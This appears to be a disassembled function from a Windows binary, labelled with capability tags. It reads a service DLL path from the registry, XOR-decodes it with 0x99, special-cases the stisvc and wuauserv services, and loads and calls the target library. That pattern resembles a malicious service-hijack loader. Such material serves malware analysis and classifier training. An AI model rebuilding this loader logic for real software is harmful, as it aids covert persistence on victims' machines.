Function at 0x10006de0
Capabilities:
Query environment variable
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x25c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 8], eax
call fcn.10005430
push 0x100
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax]
push ecx
push section.IPCSEG
call dword [sym.imp.msvcrt.dll_wcstombs]
add esp, 0xc
push section.IPCSEG
push 0x10008380
lea edx, [ebp - 0x218]
push edx
call dword [sym.imp.msvcrt.dll_sprintf]
add esp, 0xc
lea eax, [ebp - 0x10c]
push eax
push 0xf003f
push 0
lea ecx, [ebp - 0x218]
push ecx
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10006e59
jmp 0x10007099
mov dword [ebp - 0x110], 0xff
lea edx, [ebp - 0x110]
push edx
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x114]
push ecx
push 0
push 0x100083b0
mov edx, dword [ebp - 0x10c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x10c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 4], 0
jne 0x10006eab
cmp dword [ebp - 0x114], 3
je 0x10006f0c
push str.stisvc
push section.IPCSEG
call dword [sym.imp.msvcrt.dll__stricmp]
add esp, 8
test eax, eax
jne 0x10006ed8
push str._SystemRoot_System32wiaservc.dll
lea ecx, [ebp - 0x218]
push ecx
call sub.msvcrt.dll_strcpy
add esp, 8
jmp 0x10006f0a
push str.wuauserv
push section.IPCSEG
call dword [sym.imp.msvcrt.dll__stricmp]
add esp, 8
test eax, eax
jne 0x10006f05
push str._SystemRoot_System32wuaueng.dll
lea edx, [ebp - 0x218]
push edx
call sub.msvcrt.dll_strcpy
add esp, 8
jmp 0x10006f0a
jmp 0x10007099
jmp 0x10006f69
mov eax, dword [ebp - 0x110]
mov byte [ebp + eax - 0x218], 0
mov dword [ebp - 0x25c], 0
jmp 0x10006f35
mov ecx, dword [ebp - 0x25c]
add ecx, 1
mov dword [ebp - 0x25c], ecx
mov edx, dword [ebp - 0x110]
sub edx, 1
cmp dword [ebp - 0x25c], edx
jge 0x10006f69
mov eax, dword [ebp - 0x25c]
movsx ecx, byte [ebp + eax - 0x218]
xor ecx, 0x99
mov edx, dword [ebp - 0x25c]
mov byte [ebp + edx - 0x218], cl
jmp 0x10006f26
push 0x100
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x218]
push ecx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0x10008414
lea edx, [ebp - 0x258]
push edx
call sub.msvcrt.dll_strcpy
add esp, 8
push section.IPCSEG
push 0x10008420
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.msvcrt.dll_sprintf]
add esp, 0xc
lea ecx, [ebp - 0x10c]
push ecx
push 0xf003f
push 0
lea edx, [ebp - 0x218]
push edx
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10007046
mov dword [ebp - 0x110], 0xff
lea eax, [ebp - 0x110]
push eax
lea ecx, [ebp - 0x218]
push ecx
lea edx, [ebp - 0x114]
push edx
push 0
push 0x10008450
mov eax, dword [ebp - 0x10c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x10c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 4], 0
jne 0x10007046
mov edx, dword [ebp - 0x110]
mov byte [ebp + edx - 0x218], 0
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x258]
push ecx
call sub.msvcrt.dll_strcpy
add esp, 8
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x1000a67c], eax
cmp dword [0x1000a67c], 0
jne 0x10007063
jmp 0x10007099
lea eax, [ebp - 0x258]
push eax
mov ecx, dword [0x1000a67c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0
jne 0x10007088
jmp 0x10007099
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [ebp - 0x118]
add esp, 8
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.1000415e
mov esp, ebp
pop ebp
ret